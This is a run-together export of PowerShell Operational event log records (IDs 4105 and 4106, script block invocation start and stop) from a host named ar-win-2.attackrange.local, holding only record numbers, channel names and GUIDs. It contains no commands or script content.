410515102150x0672922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 